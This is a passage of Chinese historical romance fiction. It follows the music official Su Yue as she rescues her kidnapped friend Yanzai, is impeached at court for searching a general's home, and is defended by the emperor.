为什么青崖要把颜在藏起来。 “青崖是个可怜人,他一心对颜在,所做的一切我都看在眼里。” 可春潮却有她的见解,“越是可怜,才越急于得到他想得到的关爱。他不是喜欢颜在吗, 颜在可喜欢他?” 苏月摇了摇头,“颜在拿他当阿弟看待, ” 春潮说:“这不就结了。他爱慕颜在, 颜在却不喜欢他, 对他这样自小没入梨园, 尝够了人间疾苦的人来说, 是灭顶之灾。他的身世很苦, 你们应当听说过吧?” 苏月说是,“据说前朝时期灭族了,只剩他和两位阿姐,那两位阿姐也先后过世了。” 春潮脸上浮起一片怅惘, “什么都没有了,一个人独自活在世上,苦难的遭遇人尽皆知,喜欢的人又不喜欢自己……他没有疯,已经算坚强的了。” 苏月终于渐渐相信了,“他想独占颜在?” 春潮“嗯”了声,“大抵就是如此吧。因为感情得不到回报,再加上羞愧自卑,干脆一不做二不休,把人藏起来。说不定藏得够久,颜在就会喜欢上他,他所求的,不就是颜在心里有他吗。” 苏月听她分析完,才忽然意识到,自己果真遗漏了不少细节。 青崖不是很喜欢颜在吗,按常理就算拖着病体也会赶到梨园来,可是并没有。这么长时间,只派虾儿来问过两回,剩下的时间一直在乐府等消息。颜在失踪,生死未卜,他竟能这样沉着,还是那个冒名顶替,代颜在赴约的人吗? 苏月不由叹了口气,“我太相信他了,从没想过他会掳走颜在。” 春潮说话向来一针见血,淡淡一哂道:“前朝活下来的老乐工,有几个不是千疮百孔?吃了太多的苦,这里……”她拿手指点了点自己的脑袋,“多少有点异于常人,我以为你知道。” 苏月方才承认自己想得太简单了,甚至大都府询问,哪些人平时与颜在有往来,哪些人有可疑,她居然都下意识忽略了青崖。 撑身站起来,她无奈地说:“真没想到,接下来该查的是青崖。今日多谢阿姐给我指点迷津,我先回去了,颜在一日不见,我一日寝食难安,一定要找到她。” 春潮说好,送她到门外,左右看了一圈,“你是一个人走来的吗?我让人套车送你回去吧。” 苏月摆了下手,“这两日头昏脑胀的,想独自走走。这里离圆璧城不远,我自己回去就行了。” 春潮便再三叮嘱她路上小心,颜在一丢,仿佛大白天路上也不安全了。 苏月冲她回了回袖子,自己顺着街道返回梨园。一路上思前想后,越想越觉得可疑,因此一到龙光门上就寻来了副尉,“替我派人守在乐府之外,盯紧乐府监,看看他是否独自离开协律坊,去了哪里。” 副尉立刻聪明地领悟了,“监守自盗!”然后挑了两个机灵的,立时把人派了出去。 苏月这几日真的累坏了,梨园的事也顾不上,一心都在找颜在。对于春潮的猜测,她心里可说是五味杂陈,既希望是青崖带走了颜在,又希望不是他。如果颜在在他身边,至少性命无虞,但自己也着实被他狠狠愚弄了一番,以前所有的同情和好感,也都扔进沟渠里了。 缇骑盯人需要时间,她强迫自己冷静下来,照常处理园内事物。接下来两日,派出去的人回来禀报,说青崖并无异动,颜在也是照常没有半点消息。 她仔细思量了下,打算再试一次,若青崖是无辜的,自己也就不会再怀疑他了。 于是她又去了乐府一趟,青崖还是照常焦急地追问有没有进展,她悲伤地摇摇头,告诉他:“这段时间大都府和缇骑花费了太多精力,城外的驻军把方圆五十里搜遍了,还是没有发现颜在的踪迹。投入的人力太多,看不见希望,朝廷决定停止搜寻了。” 青崖怔愣了下,“为什么?因为乐人微贱,不值得吗?”说完苦笑了下,“朝廷不找了,我自己找,就算找到天边,我也一定要找到她。” 苏月看着他的脸,试图从他的眼梢眉间甄别出哪怕一丝的破绽,然而并没有。他依旧单纯热血,她开始犹豫,也许春潮的判断是错的。青崖仍旧是那个表里如一的少年,自己对他的怀疑,似乎可以到此为止了。 然而犹豫归犹豫,副尉派出去的人并未马上撤回来。结果第三日擦黑的当口忽然有了动静,缇骑回禀说青崖独自一人离开了乐府,往东城白羊道去了。 “卑职跟到一处小院,亲眼看他进去的,可等了许久也没见他出来,便翻墙进去查看,发现屋里点着灯,却连一个人影也没有,人平白无故地不见了。” 副尉不信,“他又不是精怪,会隐身术,难道还能飞了不成!一定还在宅子里,你看真周了吗,确定他没有离开?” 缇骑说看得真真的,“卑职这双眼睛,是百步穿杨的眼睛,您还信不过我?” 副尉扭头望向苏月,笃定道:“大娘子,缇骑训练有素,绝不会看错的。他们说在,人就一定还在。” 苏月问:“有人继续蹲守吗?” 缇骑说有,“卑职一人先回来禀报,另一人等不到我折返,断不会离开的。” 苏月遂对副尉道:“劳烦带我去一趟。若是运气好,说不定人就困在那个小院里。” 副尉应了声是,很快点了一队人马赶往那个院落,先派人把外面把守起来,余下几人进去查探。结果就如报信的所说,这处小院里连个鬼影都没有,只有一根燃烧过半的蜡烛,从一边缺口处源源滚下烛泪,把烛台中间的小碗都积满了。 缇骑毕竟不是一般的衙役,发现不寻常,自然要四下搜寻。放轻手脚查看每一处,桌下柜中,甚至是神龛之后都找遍了,可惜还是一无所获。 正当大家一筹莫展的时候,卧房里忽然传来了消息,赶到那里一看,床后的隔板已经被卸了下来,打起的帐幔后出现一个密道,里头有台阶,能供单人通过。 副尉忙上前打探,把脑袋伸进去细听。密道里隐约有回声传来,虽听不真切说了什么,但可以确认,底下肯定有人。 苏月心里着急,提裙要下去,被副尉拦住了。副尉拍拍胸口表示由他开路,苏月便跟在他身后进了密道。 进来之后,才发现别有洞天,这地方很有些年头了,并不是草草挖出来的。整条通道由木料支撑填塞,板正洁净,连土星子都不见一粒,可知当年耗费了不少心思和钱财营建,如果没猜错,肯定是嬴家的旧业。 远处的哭声起先含含糊糊难以分辩,走得越近才终于听明白,确实是颜在。她哀求着:“青崖,青崖你说话呀……你放我回去吧,我回去之后绝不说是你扣下我的,就当这事没有发生过,行吗?” 青崖沉默了很久,沉默得颜在几乎绝望了,方才慢慢开口,“我说过了,不会让你回去的。梨园走失一个乐人,并不是什么了不起的大事,苏月阿姐就算再牵挂你,找寻的时候久了,朝廷见没有进展,已经结案收兵了。你且在这里等上一阵子,等风头过了,我带你回姑苏去。你不是想家人,想见你阿娘和阿兄吗,不用再等五年了,脚程快的话,一个月就能到家,这样好不好?” 已然到了门外的苏月和副使交换了下眼色,副使卯起来就要冲进去,被苏月拦阻了。 其实她想听一听颜在的想法,如果颜在被他说动了,真想回姑苏去,那么她也愿意网开一面。但青崖的做法着实令人愤怒,一意孤行把人掳走,难道就是他所谓的爱慕吗? 还好颜在是清醒的,她说不,“我就算再想回家,也绝不做临阵脱逃的懦夫。五年就五年,我等得,我要堂堂正正回家见亲人,不要像过街的老鼠一样东躲西藏。你以为你在帮我,其实是在害我。青崖,你不是答应我,要在乐府做出一番事业的吗,为什么忽然变成了现在这样?” 这番话令青崖烦躁不已,“我依着你的吩咐去做了,乐府送到梨园的曲目,有半数是我谱的曲,可那又怎么样!我心不在焉,我感觉不到悲喜,我每日都忧心忡忡,不知什么时候你会喜欢上别人,被别的官员接出梨园,去做别人的夫人!” “所以你就装病骗我?”颜在呜呜咽咽地哭,“亏我那么担心你,听说你病了,一刻都不敢耽搁,急忙去看你。” 青崖大概已经魔怔了,他有他自己的道理,执拗地说:“得知我病了,你就赶来看我,难道还不足以证明心里有我吗?颜在,求你相信我,我可以好好照顾你,绝不让你受委屈。我们找个山清水秀的地方开铺子做生意,我这些年攒了些钱,用来做本金足够了。或是我们开个乐学,教那些民间的孩子奏乐谱曲,给梨园培养乐师根苗,这样行不行?” 他的愿景只是和她在一起,不管做什么都把她安排在其中,一向温顺恬静的颜在终于声嘶力竭地叫喊起来,“我不愿意!我要回梨园,我一刻都不想在这地方呆下去了。” 苏月把心放回了肚子里,转头示意副尉破门而入。那道木门经不起狠踹,副尉高大的身形率先挤进密室,压着刀说:“毛还没长全,就学人掳女郎,你爹娘是这么教你的?好小子,这几日把我们耍得团团转,不把你剁成十八块,难解兄弟们心头之恨。”说着一把抓住青崖的衣襟,老鹰拎小鸡一样,把人拖了出去。 颜在惶惶然站着,从副尉身后发现了苏月,顿时大哭起来,“你找到我了!我一直在担心,怕你找不见我,就再也不管我了。” 苏月艰难地同她打趣,“哪能呢,必是活要见人,死要见尸啊。”一面替她捋了捋头发,轻声问,“青崖没有伤害你吧?他对你动粗了吗?” 颜在摇头说没有,“起先我被带到这里来,并不知道是谁指使的,每日有人给我送吃的,送完了就走,什么都打探不出来。直到今日他现身,我才知道竟是被他劫持了。现在我该怎么办呢,早前他明明对我有恩的,我总在发愁如何回报他,结果佛也是他,魔也是他。你要是来得晚些,只怕后果不堪设想。” 颜在惊惶不已,苏月只得尽力安慰她,“虚惊一场,幸亏春潮出主意,让我留意青崖,否则只怕我永远不会怀疑他。就连他日后说要离开上都,也会以为他是心灰意冷,愈发同情他。” 所以原本好端端的,怎么就变得如此不堪了呢。这种扭曲的情感,难道就是佛经中说的由爱生怖吗。 无论如何,人能找到就好。苏月牵着颜在的手,顺着狭窄的密道返回地面上,外面院子里已经燃起了许多火把。缇骑因连日搜查无果,很不痛快,终于逮住了罪魁祸首,简直要将青崖生吞活剥了。 青崖白着脸,神色却不卑不亢。在他看来自己是为着心里的信仰,唯一后悔的,只是伤了颜在的心,惹她哭了。 还有苏月,他在面对她时羞愧万分,低头道:“阿姐,我辜负了你的栽培,让你失望了。你骂我吧,打我吧,一切都是我该受的。” 苏月看着这张年轻的脸,既觉得他可恨,又觉得他可怜。 “你不该愚弄我,让朝廷派出那么多人到处搜寻,生生耗费了六天时间。我的失望是其次,你想过颜在的感受吗?你以为把她藏起来,她就是你的了,到最后闹成这样,你打算如何收场?” 青崖翕动了下嘴唇,目光楚楚望向颜在,“我知道你现在很恨我,其实恨我也好,这样就不会忘记我了。颜在,我没有坏心思,我只想和你在一起。我听说近来常有达官显贵点你献演,尤其随侯府上,三日一请,五日一邀……我越想越害怕,继续坐以待毙,你就真的变成别人的了。” 颜在知道他误会了,无奈道:“人家府上有喜事啊,接连有人做寿,为远客接风,且受邀的也不止我一个,怎么就认定人家瞧上我了?” 青崖找不到话来辩解,因为无论说什么都不合理。心里更明白,一切都是他没有根据的揣测,但他就是担心,辗转反侧无法纾解。 也许颜在是他的解药,只有她能把他从痛苦里拯救出来,他这样想着,便这样去做了。结果好像又错了,反而把人越推越远。如果苏月没有找到他们,或者他还有一丝希望,可惜终究是找到了,颜在有了退路,再不可能喜欢上他了,只会愈发地厌恶他。 副尉瞅瞅这少年的脸,男生女相真讨厌,便对苏月道:“别同他啰嗦了,这小子现在装可怜,就是想博女郎们的同情。照我说直接送到大都府去,发配到行宫田庄上抡锄头,他定是病也好了,心思也纯净了,再不想着男男女女那些事了。” 这话倒是提醒了苏月,这件事若当真宣扬起来,青崖就彻底毁了。他是有错,但他也很苦,这种卤水里浸泡过的人生,延捱到当下已经需要莫大的勇气,叫人怎么忍心,让他的后半生更加不见天日。 但究竟追不追究,还得看颜在的意思,毕竟受害者是她。今晚上没有惊官动府,来的都是龙光门上的缇骑,想悄悄掩过去也不是难事。 苏月没有说话,只是看着颜在,等她一个表示。颜在虽然怨怪青崖,但心里并不真的恨他。便小声对苏月道:“这件事不要让外人知道,行吗?青崖年纪还小,不能因一时糊涂,糟蹋了一生。” 苏月转头打量青崖,他听了颜在的话,浑身颤抖着恸哭起来,“我不要你可怜我!你到底什么时候才能把我当成男人看待,就连我做错了事,你也觉得我没有伏法的资格。” 副尉听不过去了,瞪眼说:“不识好歹的东西,要不是大娘子在,我早就揍你这娘娘腔了。我问你,那个赶车的仆妇呢,是不是被你杀了?” 青崖缓了很久,情绪渐渐平稳下来后才道:“我许了她些钱财,让她离开上都了。” 苏月松了口气,转头提醒颜在:“你刚才的话,可是经过了深思熟虑的?若这次轻饶了他,未见得没有下次。你不怕他不死心,故技重施吗?” 颜在从最先的悲伤惶恐里挣脱出来,已经可以冷静地正视这件事了,语调坚定地说:“我想好了,如果再有下次,不要惊动任何人,就当我逃了,把我从乐官名册上划去吧。” 话说到这样程度,就不用再议了,苏月转身对副尉道:“今晚的事,请副尉不要对外宣扬。就算我徇私吧,他年纪还小,一时冲动做错了事,若是交给大都府,不单身上的官职要罢免,人也会下大狱,我实在于心不忍。” 副尉早把自己这队人马看成了未来皇后的禁卫,只要大娘子发个话,没有不遵从的。 于是一使眼色,命左右看押青崖的人撤开,又发了话,“回去之后都不许乱说,今晚的事烂在肚子里,听见没有?”众人领了命,他方对苏月拱拱手,“娘子们可要和他道个别?卑职等在外等候。” 人都撤出去了,苏月也让到了一旁,容颜在和他说话。 颜在说:“我被关的这几日,惊动了那么多人找我,你这回的祸着实是闯大了。苏月愿意放你一马,终究是看着我们往日的交情,即便到现在,我们也相信你本性纯良,没有歹心。但今日过后,我怕是不能再像往日一样对你了,今后请你多加珍重,回到乐府之后潜心谱曲,多创出些上佳的曲目,流传后世吧。” 她说完转身走了,青崖脸上透出一种濒死般的绝望,颤动着嘴唇想唤她,却发现自己怎么也出不了声了。 回去的路上,苏月小心翼翼察言观色,颜在像一汪沉淀的死水,没有半丝波澜。大约是察觉了苏月的担忧,勉强笑了笑,“我不要紧,好好的呢,你不用担心。” 苏月方才颔首,“回去后就说被那个仆妇劫持了,关在城外废弃的茅屋里,缇骑来得及时,才没有被倒卖。若不这样说,恐怕坏了你的名节,将来就不好自处了。” 颜在听后牵住她的手,愧怍道:“我总让你担心,自己从未为你做过什么,反倒一次又一次麻烦你。” 苏月在她手上拍了拍,“咱们是一起从姑苏来的,我也要让你全须全尾地回姑苏去。这次的事,不要放在心上,就当还了他曾经解你危难的情吧。” 颜在没有说话,其实她知道,那份恩情是无论如何都还不清的。对青崖的厌恨也慢慢化为了一缕惆怅,人越冷静,越是感到无边的凄凉。 好在有惊无险,苏月庆幸一切都过去了,却没想到后面有更大的麻烦在等着自己。 第二日一早,洗漱过后赶往大乐堂,刚到门上就迎来两个公服上绣蟒纹的缇骑。 他们大步走到她面前,面无表情地传令:“乾阳殿中早朝,陛下宣召梨园使入朝应讯。请娘子暂缓手上公务,跟卑职等走一趟。” 第 61 章 乾阳殿她去过好几次, 上回万里来传话,是因为陈御史等人弹劾她。当时虽算公事公办,但在场的只有皇帝和御史台官员, 阵仗还不算太大。这次却不一样,正上着朝,满朝文武都在场, 宣她过去必定是遇见了更大的弹劾,皇帝骑虎难下, 不得不当朝给出交代。 所为何事, 她心里是明白的, 十有八九因为颜在失踪那件事。至于究竟是哪方面出了岔子, 无外乎动用了朝廷的人手、搜查了左翊卫将军府邸,最后人找回来了,没有给出一个明晰的来龙去脉,朝堂上的官员们心中不快,要督促皇帝, 对她严加约束。 轻舒了口气,她把手里的曲谱交给颜在, “我去去就回来。” 颜在却把曲谱又转交给了一旁的梅引, 对苏月道:“我随你一起去, 若是要论罪, 由我一力承担。” 苏月失笑, “你承担什么?你是苦主, 再大的罪过也轮不到你头上。你只管督促他们练曲吧,有什么话,等我回来再说。” 她脸上一派轻松,安抚她们两句才出门, 但赶往乾阳殿的这一程,心情很是沉重。因为知道这回不是两人之间的小打小闹,也不是发发脾气,掉两滴眼泪就能解决的了。既然闹上了朝堂,必是难以姑息的大事,否则以权大护短的脾气,不可能当众召见她。她也做好了准备迎接风雨,既然是自己做下的事,不会回避那些王侯将相们的针对。 举步迈入乾阳门,朝会时的乾阳殿与平时不同,内外都站着带刀的缇骑,十步一个,钉子般矗立在御道左右。 她顺着官员行走的直道上前,早有万里在殿外等候着。见她来了,快步上前迎接,压声道:“不管过会儿如何腥风血雨,娘子只管澄清经过,认错就是了,切记切记。” 苏月犹疑地看了他一眼,知道这是皇帝的意思,便点了点头,跟他进了大殿。 深广的殿宇两掖,站满了冠服俨然的文臣武将。梨园献演时,苏月曾见过他们每一个人,然而走上朝堂,暴露在众目睽睽之下,顿时让她感受到了另一种忐忑和慌张。 她看到弹劾她的人了,这回不是御史台的言官,是武将。且人数众多,足有七八人,不是站着回禀,而是跪在了御阶前。听见脚步声传来,回头看她的眼神充满鄙夷和愤恨,若不是身处朝堂上,恐怕要把她拆吃入腹了。 武将……想必是搜查左翊卫将军的府邸,引发了众怒。这些人难道是他的部下吗,都来为他叫屈请命?苏月暂且弄不清原委,也不敢造次,便遵着礼节恭恭敬敬上前长揖,叩谒了坐在龙椅上的人。 上首的皇帝蹙着眉,出言询问:“辜大人,诸位将军弹劾你没有手令,擅自搜查了左翊卫将军的府邸。你为何这么做?与他有私怨吗?” 苏月说没有,“臣与将军并无私怨,搜查将军府邸也是为洗清将军嫌疑。梨园中有一乐师外出,遭人掳劫六日未归,臣呈报了大都府,京城上下四处搜索,但凡有嫌疑的都要接受盘查,不限于左翊卫将军。” 她的话,立刻换来了反驳,“一派胡言!为何不搜查别家,偏偏只搜将军府?” 苏月平心静气道:“因为早在朝廷颁布恩恤梨园的政令前,左翊卫将军曾看上该名乐工,点她独自前往府上奏曲。该乐师不曾赴约,这件事后来不了了之,如今乐师失踪,遵着惯例,与其有过交集的人都有嫌疑,都应该查访。” 可是她的解释,不能平息这些武将的怒火。他们向上拱手,“臣等归顺朝廷,是因敬仰陛下,坚信陛下不会因亲疏刻意慢待臣等。臣等也曾为陛下出生入死,可换来的却是无尽的羞辱,一名女子竟能公然践踏降臣的尊严,臣等若是坐视不理,接下来还有容身之地吗?这朝堂上,七成是陛下钦点的官员,剩下三成沿用旧臣,我等莽夫不值一提,但今日受辱的是武将,明日就轮到贤德著称的文官了。难道要等前朝官员尽数受辱,陛下才能为臣等主持公道吗?还是此举本就是陛下授意,意在压制降臣,扶植新臣?” 话越说越无礼,平章政事出言喝止,“心中抱屈,大可就事论事,胡乱揣测一气,连陛下都牵扯上了,这是要以下犯上吗?” 皇帝并不动怒,只是淡淡看着跪地的武将们,那目光里没有恫吓,却有不易察觉的阴冷,令人不寒而栗。 吵嚷着鸣不平的那些人终归有些犯怵,气焰略低了几分,但仍是不依不饶,“女子为官已是乱了纲常,如今竟带领缇骑搜查官员府邸,实在令臣等大为不解。” 苏月掖手道:“左翊卫将军可在?他若有不平,我可以与他当面对峙。” 叫屈的那些人冷哼了一声,“受此奇耻大辱,早就一病不起了,还能上朝与娘子对峙?” 他们从来没有承认她是命官,就连称呼也依旧是“娘子”,而不是“大人”。 苏月本想与他们理论的,但想起万里的话,还是勉强按捺住了。况且要是细究,难免要把青崖的遭遇说出来,也许这是最好的,堵住悠悠众口的办法,但要把别人的痛处撕扯开,暴露在这些没有人性的权贵面前,她还是觉得于心不忍。 但这场弹劾,着实是来势汹汹,起先还只是武将们同仇敌忾,渐渐地,发展成了新朝和旧臣的矛盾。这些前朝官员早就不满于朝廷对他们的压制,心里憋着一团火,苦于找不到发泄的途径。这回发生了这件事,立刻正中下怀,有了充足的理由来小题大做。 苏月才意识到自己真的做错了,冲动起来不计后果,又给皇帝带来了麻烦。她甚至不敢抬眼看他,垂首道:“臣寻人心切,忙中出错,请陛下恕罪。从今往后自当戒骄戒躁,谨慎行事,陛下若要降罪,臣俯首领罪,甘愿受罚。” 上首的皇帝有些苦恼,朝堂上有一小半的臣属是前朝归顺的,这些人中不乏有建树的能臣,武将虽然骄奢淫逸,却也着实有军功。这些人的去留筛选需要慢慢进行,不能一蹴而就,现在忽然闹得群情激奋,就算是皇帝也感觉到了棘手。 怎么处罚苏月,罚俸吗?已经使过的手段,至今她的官册上还有四个月的亏空,再累加,御史台势必又要跳出来说话。但除了罚俸,还有什么是最不伤筋动骨的? 他想了又想,抚着龙椅的扶手道:“从今往后,梨园使不得再调遣缇骑,回梨园禁足一月,面壁思过去吧。” 可惜这样雷声大雨点小的判罚,并不能服众。 那些武将没有站起身,纷纷取下了头上的乌纱帽,“请陛下罢免辜娘子梨园使之职,匡正梨园风气。” 而那些站在一旁的前朝文官们,此时也都纷纷附和了,“请陛下罢免辜娘子梨园使之职,匡正梨园风气。” 皇帝被架在了火上,进退维谷。思忖再三只得稍作妥协,“此事朕还要严查,辜大人暂且待职,梨园事物交太常寺代掌,过后再行决议。” 等待结果的武将们仍是不满意,“梨园使指挥缇骑搜查将军府,可算越权?梨园的职责是专司礼乐,什么时候变成了办案的衙门?大梁律对官员越权的处罚,写得明明白白,官各有辨,非其官事勿敢为,若有犯,罢官、杖责、禁锢,缺一不可。” 皇帝的脸色变得肃穆起来,“梨园有乐师失踪,梨园使带领缇骑四处寻访是朕准许的。如此看来并非梨园使越权,是朕失当了,朕看诸位大人不是要梨园使认罪受罚,而是要朕下罪己诏吧。” 此话一出,后果很严重,满朝文武立刻向上长揖,“臣等不敢,臣等死罪。” 可苏月知道,再这样拉扯下去,只会令皇帝更为难。遂上前两步叩拜下去,“臣擅用缇骑,辜负了陛下的信任,情愿领受杖责。” 皇帝无言地望着她,心里涌起巨大的无力感,谁说皇帝能够翻云覆雨,一手遮天?当这些臣僚合起伙来向你施压,你得顾全大局,得以稳固朝纲为重。 但杖责她,怎么做得到呢。他犹豫良久,无法痛下决心,尚书省的官员也劝他以大局为重,拱着手,殷切地望着他。 被逼到最后,他长叹了一声,“本月二十八,是朕向梨园使提亲的日子。原本龙光门上的缇骑,将来都是小君的护卫,不想提前调用,竟激发了满朝文武如此大的反应,看来是朕错漏了。既然是朕之过,那杖责不该是梨园使领受,应当是朕。”他站起身,摘下了通天冠,“官员越权,杖责二十,这二十由朕领受,满朝文武都可督刑。” 这话终于吓到了朝堂上的文臣武将,皇帝领笞杖,这是亘古未有的事,人君受罚,那作为臣子岂不是该死了? 借机试图闹一闹,引起朝廷重视的前朝武将们,这下是真的傻了眼。水花是扑腾起来了,也彻底得罪了皇帝陛下,往后只要有半分风吹草动,想获恩赦恐怕是不能够了。 尚书省和御史台的官员见状,自然要化解朝堂上的剑拔弩张,急忙调转了话风,“陛下是我大梁的天子,万不该如此。” 皇帝说:“天子犯错,与庶民同罪,这罚朕甘愿领。不过今日之事也让朕明白了一个道理,宠爱过甚易引发祸端,朕是个不擅用情的人,连此一人都管束不好,将来妃嫔众多,恐怕会引发更大的乱子。” 陛下是懂得反思的,反思得那些指望他立后之后,再纳几个宠妃的三公九卿们没了指望,这矛盾转眼又转变成了新旧两派的矛盾。最后只能由太师出面调停,梨园使停职作为惩处就罢了,棍棒相加累及君王是为大不敬,满朝文武也无人敢督刑,请陛下收回成命。 皇帝垂下手,指尖抚触过通天冠上的二十四梁,沉声道:“果然不罚了吗?朕欲领罪,可不是闹着玩的,是实心实意知错了,请诸位臣工督促。” 太傅忙道:“陛下切莫折煞臣等,错在梨园使,受罚的却是陛下,本就于理不合。臣仗着年纪大,要说上一句公道话,梨园使固然有错,但多次在陛下面前谏言,轻徭役、废酷刑、安养百姓,如今这笞杖却要打到她身上,着实有些讽刺了。依臣之见,暂且将功抵过了吧,若再犯,严惩不贷,诸位可有异议?” 那些咄咄逼人的武将们不再吭声了,于是最后的定夺,是暂免了苏月的梨园使之职,禁足在梨园官舍不得外出。今日的朝堂上,似乎对她的惩处才是最大的议题,议完了就该散朝了,文武大臣依序都退出了乾阳殿。 苏月还在那里跪着,木登登地,也闹不清自己在想些什么。直到皇帝上来搀扶她,她才踉跄着站起来,心里委屈,却又不知该如何辩解,只是看他一眼,眼泪就滚滚落了下来。 皇帝叹息不止,“又没打你,你哭个什么呢。梨园使当不成了,还能当朕的皇后,官儿不是更大吗,还不够你得意的?” 越说她越是啜泣,“我就想当梨园使,我想做出些名堂来。这乾阳殿和我有仇,每回来,都没什么好事,上回挨骂,这回又是挨骂……我以后都不想来了,不过……可能也来不了了。” 她悲悲戚戚,没有放声大哭,但就是这样隐忍的委屈,更让他觉得心疼。 “好了。”他胡乱替她抹了两把脸,“这阵子不是很忙吗,正好休息两日,等风头过了,朕让你官复原职。” 可这样的官复原职不得那些官员的认可,就真的彻底沦为她和他之间的游戏了,就算继续执掌梨园,恐怕也不能服众。 抬抬眼,她裹着泪说:“多谢你刚才袒护我,但我觉得你是皇帝,不能代我受刑,连说都不该说,有损君威。” 皇帝说:“你还挑眼起朕来。朕知道不好,可又不能看着你挨打。你知道殿外那些掌刑的缇骑打人有多疼吗?他们不会装样子,是实打实地打,五杖下去能把人打死。朕要是不护着你,今日你就回不了家了,朕娶亲这件事,岂不是又没着落了?” 什么时候都惦记娶亲,也只有他了。 苏月低头掖了掖眼泪,“我昨晚半夜找到颜在了,她是被青崖劫走的,原本今日想着来告诉你的,不想一早就被传上朝堂了。” 皇帝似乎并不意外,“深爱便想独占,朕理解他。” 怎么还理解上了?苏月纳罕地望望他,“我与颜在都觉得他是一时糊涂,不忍心追究,所以刚才没有提及他。可前朝的那些将领气势汹汹,我又觉得很对不起你,让你高坐庙堂,骑虎难下。” 皇帝笑了笑,“知道心疼朕了,朕很欣慰。” 似乎多严重的事,到了他口中威势就削弱成了零星一点。她还是内疚的,枯着眉道:“你原本好好做着皇帝,人生一帆风顺,若是没有认识我,就不会增添那么多的烦恼了。” 皇帝安慰人的手法向来与众不同,他说:“正因为一帆风顺,朕想吃吃爱情的苦,不行么?” 苏月忘了哭,纳闷地看了他半晌,最后垂头丧气地说:“我要回去禁足了,就此别过陛下。” 她拖着乏累的步子往回走,皇帝叫了她一声,“明日就要过大礼了,你禁了足,这礼还怎么过?” 她回头望了他一眼,没有说话,慢慢朝殿门上去了。 皇帝没有得到她的答复,顿时有些迷惘,心里自然记恨上了那些武将。原本那些人平时就有诸多恶习,他不过是念着刚开国,不便立时打压。如今变本加厉了,沆瀣一气向他施压,最后竟害得他过不了礼,这梁子算是结大了。 那厢苏月惨淡地返回梨园,万里一直送她到官舍,和声开解她,“朝堂上暗潮汹涌,向来如此,娘子不要往心里去。陛下并未收回您的官职,禁足几日后自会解禁的,暂且压下不提是为您好,请娘子稍安勿躁,静待佳音。” 苏月叹息着朝他欠了欠身,“劳烦总管了,我心里都明白。” 万里虽然很为难,但还是得依照章程,命人封住了直房的门。 万里一走,颜在她们就赶来了,站在窗口追问究竟怎么了,苏月说,“前朝的官员弹劾我搜查了左翊卫将军府,险些把我革职。梨园的事务交还太常寺暂管,我被禁足了,不知要关多久。” 颜在听了,顿时哭起来,“都是为了我,把你害成这样。我不能看你被关在这里,如何能替你脱罪,你告诉我,我去想办法。” 苏月摇摇头,“前朝那些官员,借着这件事向朝廷施压呢,想什么办法都没有用。我这阵子怪忙的,正好趁机好好睡两日,你们不必为我担心。接下来含嘉城选拔乐工,及冬至祭天事宜,我恐怕赶不上了,就请你们费费心,替我担待了吧。” 她简直像交代后事,弄得大家一片惨淡。女郎能当上梨园使,是超出世俗范围的壮举,朝中那些身居高位的官员们不知多看不过眼。终于这回被他们弹压下来了,乐工们好不容易挺起的脊梁,无形中又被打弯了。太常寺一旦接手,不消多久梨园又会故态复萌,先前的豪情壮志还能维持多久,谁也不知道。 也许是天气逐渐变冷的缘故吧,苏月被禁了足,梨园中的一切好像都蒙上了一层浓雾,昂扬的激情一下子消退了,大家看上去都恹恹地。 掖庭中也一样,因苏月受了惩处,第二日的过礼事宜只得延后,气得太后破口大骂,“好不容易定下的亲事,就被那几个臭秋八给耽误了。前朝那些降将高官厚禄受用着,真当自己是有功之臣,忘了当初明明是无路可走转投门下的,朝廷宽恤给与优待,他们倒成了太上皇了!” 皇帝安抚太后,“这笔账记下,日后慢慢清算,眼下不能过礼,不知又要拖到几时。” 定日子还是重中之重,太后急急把司天监的人叫来重排,说一月之后上上大吉,比今日更吉。唯一不好的是要等,但事已至此,别无他法了。 太后便差珍珠傅姆亲去辜家致了歉,辜家也正因女郎的遭遇烦心,还谈什么过不过礼。往后顺延一个月也好,总归把眼前的麻烦事解决了,才好安安心心地定亲。 朝堂上的皇帝倒是沉得住气的,照旧如常处置公务。这日正商议杂税的减免,忽然听见几重宫门外,传来了咚咚的鼓声。 满朝文武顿时意外,都知道是有人在击登闻鼓。端门之外的登闻鼓,是吏民向皇帝伸冤最直接的途径,可以扣击,但越诉后果不是一般人能承受的。那面大鼓设在鼓台上,一向是形同虚设,却没想到今日居然被人擂响了。 皇帝放下了手中的陈条,放眼望向御道。 乾阳门上不久便出现了奏事官的身影,压着帽子,跑得脚下生烟,急急往大殿上来了。 第 62 章 奏事官入殿后行礼禀报, “端门之外,乐府监叩阍上书,为梨园使讼辩。” 朝堂上的百官都向上望去, 人人知道陛下与梨园使的关系,这回来了个为梨园使申辩的人,陛下恐怕没有不召见的道理吧! 然而入殿叩阍, 是如此简单就能面见君王的吗?民间越级的控诉尚且要遭杖刑,更别提未入流的小吏面圣申冤了。众人都想看一看陛下是如何处置的, 便直直望着上首, 等待陛下的裁断。 皇帝轻蹙了下眉, “面圣之前先受杖责, 依照律法行事,把人带到武安殿前行刑。” 但奏事官又带了击鼓人的陈情来,“乐府监有所求,入殿之前受刑,唯恐破坏证据, 待面圣之后,甘愿领罚。” 皇帝自然不是不知变通的人, 青崖的遭遇, 他早就从苏月口中得知一二了, 因此便应了声准, 命奏事官把人带上大殿。 少年郎美貌耀眼, 走到哪里都如一道光。他穿着乐府特有的锦绣公服, 头上的幞头是墨青的绸缎做成,愈发衬出了雪白的面孔,精致的眉眼。 走上前,他拱手行礼, “卑下嬴青崖,叩谒皇帝陛下。” 朝堂上的官员们斜了斜眼,眼里带着不遮不掩的轻蔑。这是深深刻在骨子里的成见,讥嘲以色侍人的玩物,都长着这么一副不正经的模样。 王侯将相们私下亵玩时,可以饶有兴致,但与他一同站在大殿上,却感觉受到了莫大的羞辱。以他为中心的方圆一丈之内寸草不生,仿佛和他站得近一点,都会沾染上他身上的低贱。 青崖呢,并不在意那些官员的反应,他来自有他的目的。他知道小吏击登闻鼓会是怎样悲惨的下场,反正是抱着必死的决心了,别人的眼光对他来说不值一提。 皇帝也是第一次留意这少年郎,很佩服他的义气和胆量。但朝堂上晤对的时间有限,得抓住一切机会,用最简短的话,澄清最多的事实。便出言问他:“你击鼓鸣冤所为何事,如实道来。” 